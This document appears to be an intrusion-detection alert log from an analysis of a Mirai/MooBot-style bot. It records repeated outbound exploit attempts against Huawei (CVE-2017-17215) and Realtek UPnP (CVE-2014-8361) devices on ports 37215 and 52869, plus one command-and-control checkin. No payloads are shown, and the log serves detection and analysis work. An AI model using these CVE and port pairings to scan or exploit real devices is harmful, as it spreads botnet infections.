Timestamp:	07/20/24-23:00:59.211046
SID:	2829579
Source Port:	41502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.66.233

Timestamp:	07/20/24-23:01:24.944299
SID:	2829579
Source Port:	42332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.248.87.37

Timestamp:	07/20/24-23:01:08.683684
SID:	2027339
Source Port:	34076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.15.34.17

Timestamp:	07/20/24-23:01:43.905912
SID:	2027339
Source Port:	36034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.86.15.141

Timestamp:	07/20/24-23:02:00.062043
SID:	2027339
Source Port:	48916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.170.33.89

Timestamp:	07/20/24-23:01:02.320024
SID:	2027339
Source Port:	57946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.17.76.254

Timestamp:	07/20/24-23:01:59.707283
SID:	2025132
Source Port:	38118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.154.164.78

Timestamp:	07/20/24-23:01:04.049279
SID:	2829579
Source Port:	49124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.228.70.58

Timestamp:	07/20/24-23:01:31.333071
SID:	2027339
Source Port:	39858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.163.80.204

Timestamp:	07/20/24-23:01:04.040812
SID:	2829579
Source Port:	48880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 72.122.103.48

Timestamp:	07/20/24-23:02:12.142469
SID:	2831300
Source Port:	46094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.189.124.248

Timestamp:	07/20/24-23:01:03.235405
SID:	2025132
Source Port:	58548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.234.180.136

Timestamp:	07/20/24-23:01:44.320661
SID:	2027339
Source Port:	34236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.142.66.141

Timestamp:	07/20/24-23:01:14.126869
SID:	2835222
Source Port:	47980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.137.245.127

Timestamp:	07/20/24-23:01:43.160906
SID:	2027339
Source Port:	60250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.198.200.174

Timestamp:	07/20/24-23:01:24.071868
SID:	2027339
Source Port:	57942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 188.20.150.72

Timestamp:	07/20/24-23:01:44.589820
SID:	2831300
Source Port:	55584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.210.250.205

Timestamp:	07/20/24-23:01:21.915268
SID:	2829579
Source Port:	39240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.197.13.210

Timestamp:	07/20/24-23:01:06.975117
SID:	2829579
Source Port:	32942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.7.171.33

Timestamp:	07/20/24-23:01:49.463055
SID:	2027339
Source Port:	47496
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.7.39.33

Timestamp:	07/20/24-23:01:41.290281
SID:	2027339
Source Port:	54992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.216.107.76

Timestamp:	07/20/24-23:01:47.572503
SID:	2831300
Source Port:	45032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.196.31.124

Timestamp:	07/20/24-23:01:51.441890
SID:	2831300
Source Port:	50686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 69.193.122.132

Timestamp:	07/20/24-23:01:54.177524
SID:	2025132
Source Port:	56158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.26.187.120

Timestamp:	07/20/24-23:01:32.059767
SID:	2829579
Source Port:	45268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 4.129.239.131

Timestamp:	07/20/24-23:01:20.591350
SID:	2831300
Source Port:	42172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.133.195.170

Timestamp:	07/20/24-23:01:20.157619
SID:	2829579
Source Port:	55882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 62.0.251.178

Timestamp:	07/20/24-23:01:42.751499
SID:	2831300
Source Port:	48762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.88.48.35

Timestamp:	07/20/24-23:01:44.713195
SID:	2025132
Source Port:	58376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.9.136.124

Timestamp:	07/20/24-23:01:06.973541
SID:	2829579
Source Port:	49004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.168.246.30

Timestamp:	07/20/24-23:01:34.055714
SID:	2835222
Source Port:	36492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.66.91.121

Timestamp:	07/20/24-23:01:01.182969
SID:	2027339
Source Port:	59766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 170.207.21.198

Timestamp:	07/20/24-23:01:42.692691
SID:	2831300
Source Port:	59040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.3.21.51

Timestamp:	07/20/24-23:01:11.818830
SID:	2829579
Source Port:	57220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 66.150.226.120

Timestamp:	07/20/24-23:01:53.132473
SID:	2025132
Source Port:	42802
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.80.198.171

Timestamp:	07/20/24-23:01:58.202290
SID:	2025132
Source Port:	44848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.230.249.224

Timestamp:	07/20/24-23:02:01.796252
SID:	2025132
Source Port:	45564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.20.137.216

Timestamp:	07/20/24-23:01:20.593003
SID:	2027339
Source Port:	44018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.183.96.221

Timestamp:	07/20/24-23:01:40.323034
SID:	2835222
Source Port:	57026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.182.11.252

Timestamp:	07/20/24-23:01:02.729047
SID:	2027339
Source Port:	49722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.37.83.56

Timestamp:	07/20/24-23:01:42.854321
SID:	2027339
Source Port:	44544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:00:56.851055
SID:	2030490
Source Port:	32848
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.189.61

Timestamp:	07/20/24-23:01:34.045143
SID:	2835222
Source Port:	59604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.183.90.96

Timestamp:	07/20/24-23:01:21.954501
SID:	2835222
Source Port:	50736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.31.217.81

Timestamp:	07/20/24-23:01:24.060711
SID:	2027339
Source Port:	46302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.117.47.181

Timestamp:	07/20/24-23:01:25.994344
SID:	2025132
Source Port:	37924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 196.21.217.254

Timestamp:	07/20/24-23:01:51.400635
SID:	2025132
Source Port:	35330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 96.234.113.72

Timestamp:	07/20/24-23:01:42.006483
SID:	2831300
Source Port:	41766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.23.172.87

Timestamp:	07/20/24-23:01:01.868178
SID:	2027339
Source Port:	47262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.236.96.35

Timestamp:	07/20/24-23:01:41.263056
SID:	2025132
Source Port:	51596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.171.182.143

Timestamp:	07/20/24-23:01:11.631937
SID:	2835222
Source Port:	60474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.58.223.243

Timestamp:	07/20/24-23:01:42.622797
SID:	2027339
Source Port:	50476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.130.13.191

Timestamp:	07/20/24-23:01:43.088724
SID:	2831300
Source Port:	42460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.1.160.57

Timestamp:	07/20/24-23:01:08.621030
SID:	2027339
Source Port:	43122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.115.197.13

Timestamp:	07/20/24-23:01:31.317774
SID:	2027339
Source Port:	42478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 121.198.173.54

Timestamp:	07/20/24-23:01:59.104072
SID:	2027339
Source Port:	49432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.111.156.136

Timestamp:	07/20/24-23:01:44.144821
SID:	2025132
Source Port:	57366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 74.205.109.96

Timestamp:	07/20/24-23:01:46.113314
SID:	2831300
Source Port:	55710
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.26.163.169

Timestamp:	07/20/24-23:01:48.047800
SID:	2027339
Source Port:	53322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.112.172.229

Timestamp:	07/20/24-23:01:51.244491
SID:	2027339
Source Port:	45482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.79.140.185

Timestamp:	07/20/24-23:01:47.433470
SID:	2027339
Source Port:	40136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.90.179.148

Timestamp:	07/20/24-23:01:45.513282
SID:	2027339
Source Port:	45548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.210.235.204

Timestamp:	07/20/24-23:01:41.974742
SID:	2831300
Source Port:	60824
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.223.49.101

Timestamp:	07/20/24-23:01:42.935667
SID:	2025132
Source Port:	53490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.224.40.86

Timestamp:	07/20/24-23:01:08.619598
SID:	2831300
Source Port:	43258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.4.77.39

Timestamp:	07/20/24-23:01:26.138638
SID:	2027339
Source Port:	44014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.147.165.127

Timestamp:	07/20/24-23:01:10.698072
SID:	2027339
Source Port:	45622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.140.216.184

Timestamp:	07/20/24-23:01:44.440143
SID:	2027339
Source Port:	54228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.134.62.33

Timestamp:	07/20/24-23:01:49.463055
SID:	2831300
Source Port:	52582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.174.105.214

Timestamp:	07/20/24-23:01:27.650505
SID:	2829579
Source Port:	51726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.220.126.213

Timestamp:	07/20/24-23:01:42.912947
SID:	2027339
Source Port:	44764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.61.238.254

Timestamp:	07/20/24-23:01:08.919725
SID:	2027339
Source Port:	45992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.110.226.143

Timestamp:	07/20/24-23:00:57.220949
SID:	2829579
Source Port:	53130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.90.210.240

Timestamp:	07/20/24-23:01:00.638305
SID:	2835222
Source Port:	42912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 110.244.30.5

Timestamp:	07/20/24-23:01:53.132473
SID:	2831300
Source Port:	43602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.79.124.73

Timestamp:	07/20/24-23:01:40.286738
SID:	2829579
Source Port:	42938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.141.77.94

Timestamp:	07/20/24-23:01:48.216693
SID:	2027339
Source Port:	49644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.126.39.49

Timestamp:	07/20/24-23:01:12.853279
SID:	2027339
Source Port:	41360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 121.198.173.54

Timestamp:	07/20/24-23:01:53.429797
SID:	2027339
Source Port:	47720
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.40.108.231

Timestamp:	07/20/24-23:01:58.717674
SID:	2027339
Source Port:	60566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.129.228.162

Timestamp:	07/20/24-23:00:59.196993
SID:	2835222
Source Port:	59916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.80.198.171

Timestamp:	07/20/24-23:01:54.922661
SID:	2027339
Source Port:	46738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.223.71.222

Timestamp:	07/20/24-23:01:48.221889
SID:	2831300
Source Port:	59484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.255.151.238

Timestamp:	07/20/24-23:01:47.108019
SID:	2025132
Source Port:	58110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.122.170.150

Timestamp:	07/20/24-23:01:42.898615
SID:	2027339
Source Port:	47258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.236.61.179

Timestamp:	07/20/24-23:02:09.758048
SID:	2025132
Source Port:	53308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.181.179.103

Timestamp:	07/20/24-23:01:08.667963
SID:	2027339
Source Port:	39612
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.161.67.148

Timestamp:	07/20/24-23:01:21.954501
SID:	2835222
Source Port:	49030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 84.248.195.35

Timestamp:	07/20/24-23:02:03.245732
SID:	2025132
Source Port:	37204
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 45.208.1.181

Timestamp:	07/20/24-23:01:47.006773
SID:	2831300
Source Port:	37276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 195.64.245.14

Timestamp:	07/20/24-23:01:03.115715
SID:	2025132
Source Port:	60020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.23.231.227

Timestamp:	07/20/24-23:01:08.597662
SID:	2027339
Source Port:	34472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 46.50.151.45

Timestamp:	07/20/24-23:01:44.203130
SID:	2025132
Source Port:	34246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 220.210.17.223

Timestamp:	07/20/24-23:01:41.340201
SID:	2025132
Source Port:	37918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 218.231.87.4

Timestamp:	07/20/24-23:01:44.036421
SID:	2831300
Source Port:	49088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.102.112.63

Timestamp:	07/20/24-23:01:02.119631
SID:	2829579
Source Port:	58596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.244.207.174

Timestamp:	07/20/24-23:01:43.555329
SID:	2027339
Source Port:	58004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.232.195.38

Timestamp:	07/20/24-23:01:06.988055
SID:	2829579
Source Port:	58870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 122.204.212.245

Timestamp:	07/20/24-23:01:02.340273
SID:	2025132
Source Port:	45948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.102.132.79

